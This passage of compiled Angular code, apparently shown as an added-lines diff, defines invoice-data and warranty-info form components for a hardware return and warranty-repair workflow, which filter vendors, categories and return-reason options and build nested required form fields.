type=\"text\">\r\n {{'wf.invoicedataAddress' | translate}}\r\n </ad-text>\r\n\r\n <ad-text formControlName=\"invoiceReference\"\r\n [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"\r\n type=\"text\">\r\n {{'wf.invoicedataInvoiceRef' | translate}}\r\n </ad-text>\r\n\r\n <ad-checkbox formControlName=\"dataValid\"\r\n [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"><strong>{{'wf.invoicedataValid'\r\n | translate}}</strong></ad-checkbox>\r\n\r\n <ad-select formControlName=\"transportMethod\"\r\n [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"\r\n [multiple]=\"false\"\r\n [allowFilter]=\"false\"\r\n [placeholder]=\"'wf.invoicedataTransportation' | translate\">\r\n <ad-select-option *ngFor=\"let option of warrantyData.transportOptions; let i=index\"\r\n [value]=\"option.code\">\r\n {{option.text}}\r\n </ad-select-option>\r\n </ad-select>\r\n\r\n </div>\r\n</div>", styles: ["h2{margin:20px 0;color:#3e464a;line-height:1.25em;font-weight:400}ad-text{margin-bottom:30px}.actions{display:flex;padding-bottom:10px}.actions .close-action{padding:30px 0 0 20px;font-weight:600;cursor:pointer}\n"], components: [{ type: i1$1.ToggleCheckboxComponent, selector: "ad-checkbox", inputs: ["id", "disabled"] }, { type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }, { type: i1$1.SelectComponent, selector: "ad-select", inputs: ["id", "disabled", "value", "multiple", "allowFilter", "placeholder", "labelProperty"] }, { type: i1$1.SelectOptionComponent, selector: "ad-select-option", inputs: ["disabled", "id", "value"], outputs: ["onSelectionChange"] }], directives: [{ type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i3.FormGroupName, selector: "[formGroupName]", inputs: ["formGroupName"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }, { type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i4.TranslatePipe } });
|
1911
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: InvoiceDataComponent, decorators: [{
|
1912
|
+
type: Component,
|
1913
|
+
args: [{
|
1914
|
+
selector: 'invoice-data',
|
1915
|
+
templateUrl: './invoice-data.component.html',
|
1916
|
+
styleUrls: ['./invoice-data.component.scss']
|
1917
|
+
}]
|
1918
|
+
}], ctorParameters: function () { return []; }, propDecorators: { configuration: [{
|
1919
|
+
type: Input
|
1920
|
+
}], reqFields: [{
|
1921
|
+
type: Input
|
1922
|
+
}], reqLocale: [{
|
1923
|
+
type: Input
|
1924
|
+
}], reuseInvoiceInfo: [{
|
1925
|
+
type: Input
|
1926
|
+
}], warrantyData: [{
|
1927
|
+
type: Input
|
1928
|
+
}] } });
|
1929
|
+
|
1930
|
+
class WarrantyInfoComponent {
|
1931
|
+
constructor(warrantyService, formComponentService, serialNumberService, validationService) {
|
1932
|
+
this.warrantyService = warrantyService;
|
1933
|
+
this.formComponentService = formComponentService;
|
1934
|
+
this.serialNumberService = serialNumberService;
|
1935
|
+
this.validationService = validationService;
|
1936
|
+
this.selectedVendorText = '';
|
1937
|
+
this.fillDescriptions = new EventEmitter();
|
1938
|
+
this.continue = new EventEmitter();
|
1939
|
+
this.destroy$ = new Subject();
|
1940
|
+
this.returnReasonRuleOptions = [];
|
1941
|
+
this.ruleHelpMessages = [];
|
1942
|
+
this.allHelpMessages = [];
|
1943
|
+
this.vendorProductLimits = new Map();
|
1944
|
+
this.vendorProductLimitsFiltered = [];
|
1945
|
+
this.vendorsFiltered = [];
|
1946
|
+
this.categoriesFiltered = [];
|
1947
|
+
this.components = [];
|
1948
|
+
this.requiredFieldsFiltered = [];
|
1949
|
+
this.returnReasonVisible = false;
|
1950
|
+
this.level = 0;
|
1951
|
+
this.returnReasonValid = true;
|
1952
|
+
this.allowedFiles = [".jpeg", ".jpg", ".gif", ".png", ".pdf", ".doc", ".docx", ".csv", ".xls", ".xlsx", ".txt", ".zip"];
|
1953
|
+
}
|
1954
|
+
get HelpMessageTypeEnum() {
|
1955
|
+
return HelpMessageTypeEnum;
|
1956
|
+
}
|
1957
|
+
get reqFields() {
|
1958
|
+
return this.infoForm.get("reqFields");
|
1959
|
+
}
|
1960
|
+
ngOnInit() {
|
1961
|
+
this.filterVendors(this.infoForm.value.category);
|
1962
|
+
const selectedVendor = this.warrantyData.getVendorByCode(this.infoForm.value.vendor);
|
1963
|
+
this.filterCategories(selectedVendor);
|
1964
|
+
this.subscribeValueChanges();
|
1965
|
+
if (this.infoForm.value.vendor && this.infoForm.value.category) {
|
1966
|
+
const selectedCategory = this.warrantyData.getCategoryByName(this.infoForm.value.category);
|
1967
|
+
this.filterRuleOptionsTierOne(selectedVendor, this.infoForm.value.category);
|
1968
|
+
this.filterVendorProductLimits(selectedVendor, selectedCategory);
|
1969
|
+
const keys = Object.keys(this.infoForm.controls);
|
1970
|
+
if (keys.some(k => k.startsWith("node-"))) {
|
1971
|
+
Object.keys(this.infoForm.controls).forEach(key => {
|
1972
|
+
if (key.startsWith("node-") || key === "reasonProductReturn") {
|
1973
|
+
this.updateFormOtherOptionsSelected(this.infoForm.get(key).value);
|
1974
|
+
}
|
1975
|
+
});
|
1976
|
+
}
|
1977
|
+
else {
|
1978
|
+
this.updateFormOtherOptionsSelected(this.infoForm.get("reasonProductReturn").value);
|
1979
|
+
}
|
1980
|
+
}
|
1981
|
+
else
|
1982
|
+
this.populateVendorAndProduct();
|
1983
|
+
}
|
1984
|
+
populateVendorAndProduct() {
|
1985
|
+
if (this.warrantyData.orderLines[this.orderLineIndex].vendor &&
|
1986
|
+
this.warrantyData.orderLines[this.orderLineIndex].category) {
|
1987
|
+
const lineVendor = this.formComponentService.resolveManufacturerAlias(this.warrantyData.orderLines[this.orderLineIndex].vendor);
|
1988
|
+
const vendorIndex = this.vendorsFiltered.findIndex(v => v.vendorName.toLowerCase() === lineVendor.toLowerCase());
|
1989
|
+
const vendorValue = vendorIndex > -1 ? this.vendorsFiltered[vendorIndex] :
|
1990
|
+
this.vendorsFiltered.find(v => v.name === "vendorOther");
|
1991
|
+
if (vendorValue) {
|
1992
|
+
this.infoForm.get("vendor").setValue(vendorValue.name);
|
1993
|
+
this.filterCategories(vendorValue);
|
1994
|
+
}
|
1995
|
+
const lineCategory = this.getLineCategory();
|
1996
|
+
let category = null;
|
1997
|
+
const cnetCategory = this.warrantyData.cnetCategories.find(item => lineCategory === item.category.toLowerCase());
|
1998
|
+
if (cnetCategory) {
|
1999
|
+
category = this.categoriesFiltered.find(item => cnetCategory.typeId === item.id) || null;
|
2000
|
+
}
|
2001
|
+
category = category ? category : this.categoriesFiltered.find(c => c.name === "prodtypeOther") || null;
|
2002
|
+
if (category) {
|
2003
|
+
this.infoForm.get("category").setValue(category.name);
|
2004
|
+
}
|
2005
|
+
}
|
2006
|
+
}
|
2007
|
+
getLineCategory() {
|
2008
|
+
let lineCategory = this.warrantyData.orderLines[this.orderLineIndex].category.toLowerCase();
|
2009
|
+
if (lineCategory.indexOf('(') > -1) {
|
2010
|
+
lineCategory = lineCategory.substring(0, lineCategory.indexOf('(')).trim();
|
2011
|
+
}
|
2012
|
+
return lineCategory;
|
2013
|
+
}
|
2014
|
+
subscribeValueChanges() {
|
2015
|
+
this.infoForm.get("vendor").valueChanges
|
2016
|
+
.pipe(takeUntil(this.destroy$))
|
2017
|
+
.subscribe((vendorCode) => {
|
2018
|
+
this.resetDataOnVendorOrCategoryChange();
|
2019
|
+
const selectedVendor = this.warrantyData.getVendorByCode(vendorCode);
|
2020
|
+
const selectedCategory = this.warrantyData.getCategoryByName(this.infoForm.value.category);
|
2021
|
+
this.filterCategories(selectedVendor);
|
2022
|
+
this.filterRuleOptionsTierOne(selectedVendor, this.infoForm.value.category);
|
2023
|
+
this.filterVendorProductLimits(selectedVendor, selectedCategory);
|
2024
|
+
});
|
2025
|
+
this.infoForm.get("category").valueChanges
|
2026
|
+
.pipe(takeUntil(this.destroy$))
|
2027
|
+
.subscribe((categoryName) => {
|
2028
|
+
this.resetDataOnVendorOrCategoryChange();
|
2029
|
+
const selectedVendor = this.warrantyData.getVendorByCode(this.infoForm.value.vendor);
|
2030
|
+
const selectedCategory = this.warrantyData.getCategoryByName(categoryName);
|
2031
|
+
this.filterVendors(categoryName);
|
2032
|
+
this.filterRuleOptionsTierOne(selectedVendor, categoryName);
|
2033
|
+
this.filterVendorProductLimits(selectedVendor, selectedCategory);
|
2034
|
+
});
|
2035
|
+
const currentValue = this.infoForm.get("reasonProductReturn").value;
|
2036
|
+
this.infoForm.get("reasonProductReturn").valueChanges
|
2037
|
+
.pipe(startWith(null), pairwise(), takeUntil(this.destroy$))
|
2038
|
+
.subscribe(([prevReturnReason, returnReason]) => {
|
2039
|
+
if (!prevReturnReason)
|
2040
|
+
prevReturnReason = currentValue;
|
2041
|
+
this.resetHierarchyFields(prevReturnReason);
|
2042
|
+
this.components = [];
|
2043
|
+
this.requiredFieldsFiltered = [];
|
2044
|
+
this.resetDataOnReturnReasonChange(returnReason);
|
2045
|
+
if (returnReason) {
|
2046
|
+
this.updateFormReturnReasonOptionSelected(returnReason);
|
2047
|
+
}
|
2048
|
+
});
|
2049
|
+
}
|
2050
|
+
updateFormReturnReasonOptionSelected(returnReason) {
|
2051
|
+
if (returnReason) {
|
2052
|
+
const ruleOption = this.getReturnReasonRuleOptionByNodeId(returnReason);
|
2053
|
+
this.returnReasonValid = this.validationService.returnReasonIsValid(this.configuration, ruleOption, this.orderLineIndex);
|
2054
|
+
if (ruleOption) {
|
2055
|
+
this.updateComponents(ruleOption);
|
2056
|
+
if (!this.formComponentService.hasChilds(ruleOption, this.warrantyData.ruleOptions)) {
|
2057
|
+
this.updateRequiredFields(ruleOption);
|
2058
|
+
}
|
2059
|
+
}
|
2060
|
+
}
|
2061
|
+
}
|
2062
|
+
updateDeliveryDate(ruleOption) {
|
2063
|
+
switch (ruleOption.localizeVar) {
|
2064
|
+
case RuleOptionEnum.purchaseErrorDK:
|
2065
|
+
case RuleOptionEnum.notWorkOnDelivery:
|
2066
|
+
case RuleOptionEnum.discoveredWhenOpened:
|
2067
|
+
case RuleOptionEnum.cargoGoodsAvailable:
|
2068
|
+
if (!this.infoForm.contains("deliveryDate"))
|
2069
|
+
this.infoForm.addControl("deliveryDate", new FormControl('', Validators.required));
|
2070
|
+
break;
|
2071
|
+
case RuleOptionEnum.ruleOptDOA:
|
2072
|
+
this.quantityCtrl.setValue(1);
|
2073
|
+
break;
|
2074
|
+
}
|
2075
|
+
}
|
2076
|
+
updateQuantity(ruleOption) {
|
2077
|
+
if (ruleOption.localizeVar === RuleOptionEnum.ruleOptDOA) {
|
2078
|
+
this.quantityCtrl.setValue(1);
|
2079
|
+
}
|
2080
|
+
}
|
2081
|
+
updateTransportOption() {
|
2082
|
+
const selectedCategory = this.warrantyData.getCategoryByName(this.infoForm.get("category").value);
|
2083
|
+
if (!this.infoForm.contains("transportOption") &&
|
2084
|
+
selectedCategory.name === "prodtypeMobilePhone" &&
|
2085
|
+
Object.keys(this.infoForm.controls).some(key => {
|
2086
|
+
if (key.startsWith("node-")) {
|
2087
|
+
const keyValue = this.infoForm.controls[key].value;
|
2088
|
+
if (keyValue) {
|
2089
|
+
const option = this.warrantyData.getRuleOption(this.infoForm.controls[key].value);
|
2090
|
+
return option.localizeVar === RuleOptionEnum.ruleOptWunDmgd;
|
2091
|
+
}
|
2092
|
+
return false;
|
2093
|
+
}
|
2094
|
+
return false;
|
2095
|
+
})) {
|
2096
|
+
this.infoForm.addControl("transportOption", new FormControl('', Validators.required));
|
2097
|
+
}
|
2098
|
+
}
|
2099
|
+
updateFormOtherOptionsSelected(option) {
|
2100
|
+
if (Array.isArray(option)) {
|
2101
|
+
option.forEach(o => {
|
2102
|
+
this.updateFormSingleOtherOptionsSelected(o);
|
2103
|
+
});
|
2104
|
+
}
|
2105
|
+
else {
|
2106
|
+
this.updateFormSingleOtherOptionsSelected(option);
|
2107
|
+
}
|
2108
|
+
}
|
2109
|
+
updateFormSingleOtherOptionsSelected(option) {
|
2110
|
+
const ruleOptionNext = this.warrantyData.getRuleOption(option);
|
2111
|
+
if (ruleOptionNext) {
|
2112
|
+
this.updateComponents(ruleOptionNext);
|
2113
|
+
if (ruleOptionNext.localizeVar === "ruleoptNoCostProp") {
|
2114
|
+
this.requiredFieldsFiltered = [];
|
2115
|
+
}
|
2116
|
+
else if (!this.formComponentService.hasChilds(ruleOptionNext, this.warrantyData.ruleOptions)) {
|
2117
|
+
this.updateRequiredFields(ruleOptionNext);
|
2118
|
+
}
|
2119
|
+
}
|
2120
|
+
}
|
2121
|
+
filterVendors(categoryCode) {
|
2122
|
+
let vendorsList = this.warrantyData.vendors;
|
2123
|
+
if (categoryCode) {
|
2124
|
+
const selectedCategory = this.warrantyData.categories.find(v => v.name == categoryCode);
|
2125
|
+
const vendorProductsFiltered = this.warrantyData.vendorProducts.filter(vp => vp.productTypeId === selectedCategory.id);
|
2126
|
+
vendorsList = vendorsList.filter(v => vendorProductsFiltered.some(p => p.vendorId === v.id
|
2127
|
+
&& this.warrantyData.ruleVendorProducts.some(r => r.vendorProductId === p.id
|
2128
|
+
&& this.warrantyData.ruleOptions.some(o => o.ruleId == r.ruleId))));
|
2129
|
+
}
|
2130
|
+
let filteredRuleVendorProducts = [];
|
2131
|
+
if (this.warrantyData.ruleVendorProducts) {
|
2132
|
+
filteredRuleVendorProducts = this.warrantyData.ruleVendorProducts.filter(rp => this.warrantyData.ruleOptions.some(o => rp.ruleId === o.ruleId));
|
2133
|
+
}
|
2134
|
+
vendorsList = vendorsList.filter(v => this.warrantyData.vendorProducts.some(vp => vp.vendorId === v.id
|
2135
|
+
&& filteredRuleVendorProducts.some(r => r.vendorProductId === vp.id)));
|
2136
|
+
vendorsList = vendorsList.sort(this.warrantyData.sortVendors);
|
2137
|
+
this.vendorsFiltered = vendorsList;
|
2138
|
+
}
|
2139
|
+
displayReturnReason() {
|
2140
|
+
return this.returnReasonVisible && this.infoForm.value.vendor && this.infoForm.value.category;
|
2141
|
+
}
|
2142
|
+
filterCategories(vendor) {
|
2143
|
+
let categoriesList = this.warrantyData.categories;
|
2144
|
+
if (vendor) {
|
2145
|
+
const vendorProductsFiltered = this.warrantyData.vendorProducts.filter(vp => vp.vendorId === vendor.id);
|
2146
|
+
categoriesList = categoriesList.filter(c => vendorProductsFiltered.some(p => p.productTypeId === c.id
|
2147
|
+
&& this.warrantyData.ruleVendorProducts.some(r => r.vendorProductId === p.id
|
2148
|
+
&& this.warrantyData.ruleOptions.some(o => o.ruleId == r.ruleId))));
|
2149
|
+
}
|
2150
|
+
const filteredRuleVendorProducts = this.warrantyData.ruleVendorProducts.filter(rp => this.warrantyData.ruleOptions.some(o => rp.ruleId === o.ruleId));
|
2151
|
+
categoriesList = categoriesList.filter(c => this.warrantyData.vendorProducts.some(vp => vp.productTypeId === c.id
|
2152
|
+
&& filteredRuleVendorProducts.some(r => r.vendorProductId === vp.id)));
|
2153
|
+
categoriesList = categoriesList.sort(this.warrantyData.sortCategories);
|
2154
|
+
this.categoriesFiltered = categoriesList;
|
2155
|
+
}
|
2156
|
+
filterRuleOptionsTierOne(vendor, categoryName) {
|
2157
|
+
let ruleOptionsList = [];
|
2158
|
+
let vendorProductsList = [];
|
2159
|
+
if (vendor && categoryName) {
|
2160
|
+
const selectedCategory = this.warrantyData.categories.find(v => v.name == categoryName);
|
2161
|
+
vendorProductsList = this.warrantyData.vendorProducts.filter(vp => vp.vendorId === vendor.id
|
2162
|
+
&& vp.productTypeId === selectedCategory.id);
|
2163
|
+
ruleOptionsList = this.warrantyData.ruleOptions.filter(ro => this.warrantyData.ruleVendorProducts.some(rp => rp.ruleId === ro.ruleId &&
|
2164
|
+
vendorProductsList.some(vp => vp.id === rp.vendorProductId)) &&
|
2165
|
+
ro.caseType === this.configuration.defConfig.caseType);
|
2166
|
+
if (this.configuration.isCompletedOrderCase) {
|
2167
|
+
ruleOptionsList = ruleOptionsList.filter(ro => ro.localizeVar !== RuleOptionEnum.ruleOptDOA);
|
2168
|
+
}
|
2169
|
+
}
|
2170
|
+
ruleOptionsList = this.formComponentService.sortOutRules(ruleOptionsList.filter(x => !x.parentId));
|
2171
|
+
if (ruleOptionsList) {
|
2172
|
+
const updated = this.updateReturnReasonPlaceholder(ruleOptionsList);
|
2173
|
+
const emptyDisclaimer = this.getEmptyDisclaimerRuleOption(ruleOptionsList);
|
2174
|
+
if (!updated && emptyDisclaimer) {
|
2175
|
+
this.updateRuleHelpMessages(emptyDisclaimer);
|
2176
|
+
this.returnReasonVisible = false;
|
2177
|
+
}
|
2178
|
+
else {
|
2179
|
+
this.returnReasonVisible = true;
|
2180
|
+
this.returnReasonRuleOptions = ruleOptionsList;
|
2181
|
+
}
|
2182
|
+
}
|
2183
|
+
}
|
2184
|
+
getEmptyDisclaimerRuleOption(ruleOptionsList) {
|
2185
|
+
return ruleOptionsList.find(r => r.localizeVar === RuleOptionEnum.emptyDisclaimer);
|
2186
|
+
}
|
2187
|
+
updateReturnReasonPlaceholder(ruleOptionsList) {
|
2188
|
+
this.returnReasonPlaceholder = this.configuration.returnReasonlaceholder;
|
2189
|
+
const filteredOptions = ruleOptionsList.filter(o => {
|
2190
|
+
switch (o.localizeVar) {
|
2191
|
+
case RuleOptionEnum.ruleOptDOA:
|
2192
|
+
case RuleOptionEnum.ruleOptWorking:
|
2193
|
+
this.returnReasonPlaceholder = this.configuration.defConfig.country === CountriesEnum.SE ? "wf.workedonarrivalSE" : "wf.workedonarrival";
|
2194
|
+
return true;
|
2195
|
+
case RuleOptionEnum.depRegistered:
|
2196
|
+
this.returnReasonPlaceholder = "wf.depSelection";
|
2197
|
+
return true;
|
2198
|
+
case RuleOptionEnum.packageDamaged:
|
2199
|
+
case RuleOptionEnum.packageNotDamaged:
|
2200
|
+
this.returnReasonPlaceholder = "wf.packageCondition";
|
2201
|
+
return true;
|
2202
|
+
}
|
2203
|
+
return false;
|
2204
|
+
});
|
2205
|
+
return filteredOptions.length > 0;
|
2206
|
+
}
|
2207
|
+
filterVendorProductLimits(vendor, category) {
|
2208
|
+
if (this.configuration.defConfig.caseType === CaseTypeEnum.WarrantyRepair && vendor) {
|
2209
|
+
if (!this.vendorProductLimits.has(vendor.id)) {
|
2210
|
+
this.warrantyData.vendorProducts.filter(vp => vp.vendorId === vendor.id)
|
2211
|
+
.forEach(p => {
|
2212
|
+
this.warrantyService.getVendorProductLimits(p.id)
|
2213
|
+
.pipe(filter(l => (l === null || l === void 0 ? void 0 : l.length) > 0), takeUntil(this.destroy$))
|
2214
|
+
.subscribe(limits => {
|
2215
|
+
let currentLimits = [];
|
2216
|
+
if (this.vendorProductLimits.has(vendor.id)) {
|
2217
|
+
currentLimits = this.vendorProductLimits.get(vendor.id);
|
2218
|
+
}
|
2219
|
+
this.vendorProductLimits.set(vendor.id, [...currentLimits, ...limits]);
|
2220
|
+
this.filterVendorProductLimitsByCategory(vendor, category);
|
2221
|
+
});
|
2222
|
+
});
|
2223
|
+
}
|
2224
|
+
else {
|
2225
|
+
this.filterVendorProductLimitsByCategory(vendor, category);
|
2226
|
+
}
|
2227
|
+
}
|
2228
|
+
}
|
2229
|
+
filterVendorProductLimitsByCategory(vendor, category) {
|
2230
|
+
if (this.vendorProductLimits.has(vendor.id) && category) {
|
2231
|
+
const vendorProduct = this.getSelectedVendorProduct(vendor, category);
|
2232
|
+
const currentLimits = this.vendorProductLimits.get(vendor.id);
|
2233
|
+
this.vendorProductLimitsFiltered = currentLimits.filter(l => l.vendorProductId === vendorProduct.id);
|
2234
|
+
this.mergeMessages();
|
2235
|
+
}
|
2236
|
+
}
|
2237
|
+
resetDataOnVendorOrCategoryChange() {
|
2238
|
+
this.vendorProductLimits = new Map();
|
2239
|
+
this.vendorProductLimitsFiltered = [];
|
2240
|
+
this.components.forEach(x => {
|
2241
|
+
if (this.infoForm.contains(x.id)) {
|
2242
|
+
this.infoForm.removeControl(x.id);
|
2243
|
+
}
|
2244
|
+
});
|
2245
|
+
this.components = [];
|
2246
|
+
this.ruleHelpMessages = [];
|
2247
|
+
this.requiredFieldsFiltered = [];
|
2248
|
+
this.removeRequiredFields();
|
2249
|
+
this.infoForm.patchValue({ reasonProductReturn: '' }, { emitEvent: false, onlySelf: true });
|
2250
|
+
this.mergeMessages();
|
2251
|
+
}
|
2252
|
+
resetDataOnReturnReasonChange(returnReson) {
|
2253
|
+
this.components = [];
|
2254
|
+
if (this.infoForm.contains("deliveryDate")) {
|
2255
|
+
this.infoForm.removeControl("deliveryDate");
|
2256
|
+
}
|
2257
|
+
this.ruleHelpMessages = [];
|
2258
|
+
if (!returnReson) {
|
2259
|
+
this.requiredFieldsFiltered = [];
|
2260
|
+
this.removeRequiredFields();
|
2261
|
+
}
|
2262
|
+
this.mergeMessages();
|
2263
|
+
}
|
2264
|
+
getSelectedVendorProduct(vendor, category) {
|
2265
|
+
return this.warrantyData.vendorProducts.find(p => p.vendorId === vendor.id && p.productTypeId === category.id);
|
2266
|
+
}
|
2267
|
+
getReturnReasonRuleOptionByNodeId(nodeId) {
|
2268
|
+
return this.returnReasonRuleOptions.find(r => r.nodeId === nodeId);
|
2269
|
+
}
|
2270
|
+
updateRuleHelpMessages(option) {
|
2271
|
+
if (option.nodeHelp) {
|
2272
|
+
const selectedVendor = this.warrantyData.getVendorByCode(this.infoForm.value.vendor);
|
2273
|
+
const selectedCategory = this.warrantyData.getCategoryByName(this.infoForm.value.category);
|
2274
|
+
const vendorProduct = this.getSelectedVendorProduct(selectedVendor, selectedCategory);
|
2275
|
+
this.warrantyService.getHelpMessage(option.nodeHelp, vendorProduct.id)
|
2276
|
+
.pipe(map(msg => msg.map(i => new LocalizedItem(i.id, i.message, "", "", option.nodeId))), takeUntil(this.destroy$))
|
2277
|
+
.subscribe((result) => {
|
2278
|
+
if ((result === null || result === void 0 ? void 0 : result.length) > 0) {
|
2279
|
+
this.ruleHelpMessages = [];
|
2280
|
+
const filteredMessages = [];
|
2281
|
+
result.forEach((item) => {
|
2282
|
+
const exists = filteredMessages.some(x => x.id === item.id) ||
|
2283
|
+
filteredMessages.some(x => x.text === item.text);
|
2284
|
+
if (!exists) {
|
2285
|
+
filteredMessages.push(item);
|
2286
|
+
}
|
2287
|
+
});
|
2288
|
+
this.ruleHelpMessages = [...this.ruleHelpMessages, ...filteredMessages];
|
2289
|
+
this.mergeMessages();
|
2290
|
+
}
|
2291
|
+
});
|
2292
|
+
}
|
2293
|
+
}
|
2294
|
+
updateComponents(result) {
|
2295
|
+
this.updateDeliveryDate(result);
|
2296
|
+
this.updateQuantity(result);
|
2297
|
+
this.updateRuleHelpMessages(result);
|
2298
|
+
if (this.formComponentService.hasChilds(result, this.warrantyData.ruleOptions)) {
|
2299
|
+
this.level++;
|
2300
|
+
const ruleOptions = this.formComponentService.filterRuleOptions(result, this.warrantyData.ruleOptions);
|
2301
|
+
if (!this.components.some(c => c.id === 'node-' + result.nodeId)) {
|
2302
|
+
const formComponent = this.createComponent(result, ruleOptions);
|
2303
|
+
this.components.push(formComponent);
|
2304
|
+
this.infoForm.addControl(formComponent.id, new FormControl('', Validators.required));
|
2305
|
+
const currentValue = this.infoForm.get(formComponent.id).value;
|
2306
|
+
this.infoForm.get(formComponent.id).valueChanges
|
2307
|
+
.pipe(startWith(null), pairwise(), takeUntil(this.destroy$))
|
2308
|
+
.subscribe(([prev, next]) => {
|
2309
|
+
if (!prev) {
|
2310
|
+
prev = currentValue;
|
2311
|
+
}
|
2312
|
+
const prevOption = prev && Array.isArray(prev) && prev.length == 1 ? prev[0] : prev;
|
2313
|
+
this.resetHierarchyFields(prevOption);
|
2314
|
+
this.refreshFields(next);
|
2315
|
+
});
|
2316
|
+
}
|
2317
|
+
}
|
2318
|
+
this.updateTransportOption();
|
2319
|
+
}
|
2320
|
+
createComponent(result, options) {
|
2321
|
+
const formComponent = {
|
2322
|
+
hierarchy: this.level,
|
2323
|
+
id: 'node-' + result.nodeId,
|
2324
|
+
nodeId: result.nodeId,
|
2325
|
+
options: options,
|
2326
|
+
isRequired: true,
|
2327
|
+
isMultiple: result.optionType.includes("single"),
|
2328
|
+
reason: result,
|
2329
|
+
name: 'productissue-' + result.nodeId,
|
2330
|
+
placeholderText: this.formComponentService.getPlaceholderText(this.configuration.defConfig.caseType, result.localizeVar, options, this.warrantyData.ruleOptions),
|
2331
|
+
requiredFields: result.requiredFields
|
2332
|
+
};
|
2333
|
+
return formComponent;
|
2334
|
+
}
|
2335
|
+
refreshFields(nodeIds) {
|
2336
|
+
const hasChilds = this.nodeHasChilds(nodeIds);
|
2337
|
+
if (!nodeIds || hasChilds) {
|
2338
|
+
this.requiredFieldsFiltered = [];
|
2339
|
+
this.removeRequiredFields();
|
2340
|
+
}
|
2341
|
+
this.updateFormOtherOptionsSelected(nodeIds);
|
2342
|
+
}
|
2343
|
+
nodeHasChilds(nodeIds) {
|
2344
|
+
let hasChilds = false;
|
2345
|
+
if (nodeIds) {
|
2346
|
+
if (Array.isArray(nodeIds)) {
|
2347
|
+
hasChilds = nodeIds.some(n => {
|
2348
|
+
const option = this.warrantyData.getRuleOption(n);
|
2349
|
+
return this.formComponentService.hasChilds(option, this.warrantyData.ruleOptions);
|
2350
|
+
});
|
2351
|
+
}
|
2352
|
+
else {
|
2353
|
+
const option = this.warrantyData.getRuleOption(nodeIds);
|
2354
|
+
hasChilds = this.formComponentService.hasChilds(option, this.warrantyData.ruleOptions);
|
2355
|
+
}
|
2356
|
+
}
|
2357
|
+
return hasChilds;
|
2358
|
+
}
|
2359
|
+
resetHierarchyFields(nodeId) {
|
2360
|
+
let nodeValue;
|
2361
|
+
if (nodeId && Array.isArray(nodeId)) {
|
2362
|
+
nodeValue = nodeId.length === 1 ? nodeId[0] : null;
|
2363
|
+
}
|
2364
|
+
else
|
2365
|
+
nodeValue = nodeId;
|
2366
|
+
if (nodeValue) {
|
2367
|
+
const ruleOptionPrev = this.warrantyData.getRuleOption(nodeValue);
|
2368
|
+
const component = this.components.find(x => x.nodeId === ruleOptionPrev.nodeId);
|
2369
|
+
this.resetComponentsByHierarchyLevel(component);
|
2370
|
+
Object.keys(this.infoForm.controls).forEach(key => {
|
2371
|
+
if (key.startsWith("node-") && !this.infoForm.controls[key].valid) {
|
2372
|
+
this.requiredFieldsFiltered = [];
|
2373
|
+
}
|
2374
|
+
});
|
2375
|
+
}
|
2376
|
+
if (this.infoForm.contains("transportOption")) {
|
2377
|
+
this.infoForm.removeControl("transportOption");
|
2378
|
+
}
|
2379
|
+
}
|
2380
|
+
resetComponentsByHierarchyLevel(component) {
|
2381
|
+
let messagesChanged = false;
|
2382
|
+
if (this.ruleHelpMessages.length > 0) {
|
2383
|
+
const nodeValues = [];
|
2384
|
+
Object.keys(this.infoForm.controls).forEach(key => {
|
2385
|
+
if (key.startsWith("node-")) {
|
2386
|
+
nodeValues.push(this.infoForm.get(key).value);
|
2387
|
+
}
|
2388
|
+
});
|
2389
|
+
const totalMessages = this.ruleHelpMessages.length;
|
2390
|
+
this.ruleHelpMessages = this.ruleHelpMessages.filter(m => m.optionId === null || nodeValues.includes(m.optionId));
|
2391
|
+
messagesChanged = totalMessages !== this.ruleHelpMessages.length;
|
2392
|
+
}
|
2393
|
+
if (component) {
|
2394
|
+
const componentsFiltered = this.components.filter(c => c.hierarchy >= component.hierarchy);
|
2395
|
+
componentsFiltered
|
2396
|
+
.forEach(c => {
|
2397
|
+
if (this.infoForm.contains(c.id)) {
|
2398
|
+
const remOptionVal = this.infoForm.get(c.id).value;
|
2399
|
+
this.ruleHelpMessages.filter(m => m.optionId === remOptionVal).forEach(m => {
|
2400
|
+
const index = this.ruleHelpMessages.findIndex(i => i.id === m.id);
|
2401
|
+
if (index > -1) {
|
2402
|
+
this.ruleHelpMessages.splice(index, 1);
|
2403
|
+
messagesChanged = true;
|
2404
|
+
}
|
2405
|
+
});
|
2406
|
+
this.infoForm.removeControl(c.id);
|
2407
|
+
}
|
2408
|
+
});
|
2409
|
+
this.components = this.components.filter(c => c.hierarchy < component.hierarchy);
|
2410
|
+
}
|
2411
|
+
if (messagesChanged) {
|
2412
|
+
this.mergeMessages();
|
2413
|
+
}
|
2414
|
+
}
|
2415
|
+
getRequiredFields(option) {
|
2416
|
+
const allReqFields = [];
|
2417
|
+
this.components.forEach(c => {
|
2418
|
+
if (c.requiredFields) {
|
2419
|
+
allReqFields.push({ optionId: c.nodeId, requiredFields: c.requiredFields });
|
2420
|
+
}
|
2421
|
+
});
|
2422
|
+
allReqFields.push({ optionId: option.nodeId, requiredFields: option.requiredFields });
|
2423
|
+
return allReqFields;
|
2424
|
+
}
|
2425
|
+
updateRequiredFields(option) {
|
2426
|
+
this.requiredFieldsFiltered = [];
|
2427
|
+
if (option) {
|
2428
|
+
const reqArray = this.getRequiredFields(option);
|
2429
|
+
reqArray.forEach(item => {
|
2430
|
+
const selectedFields = item.requiredFields.split(',');
|
2431
|
+
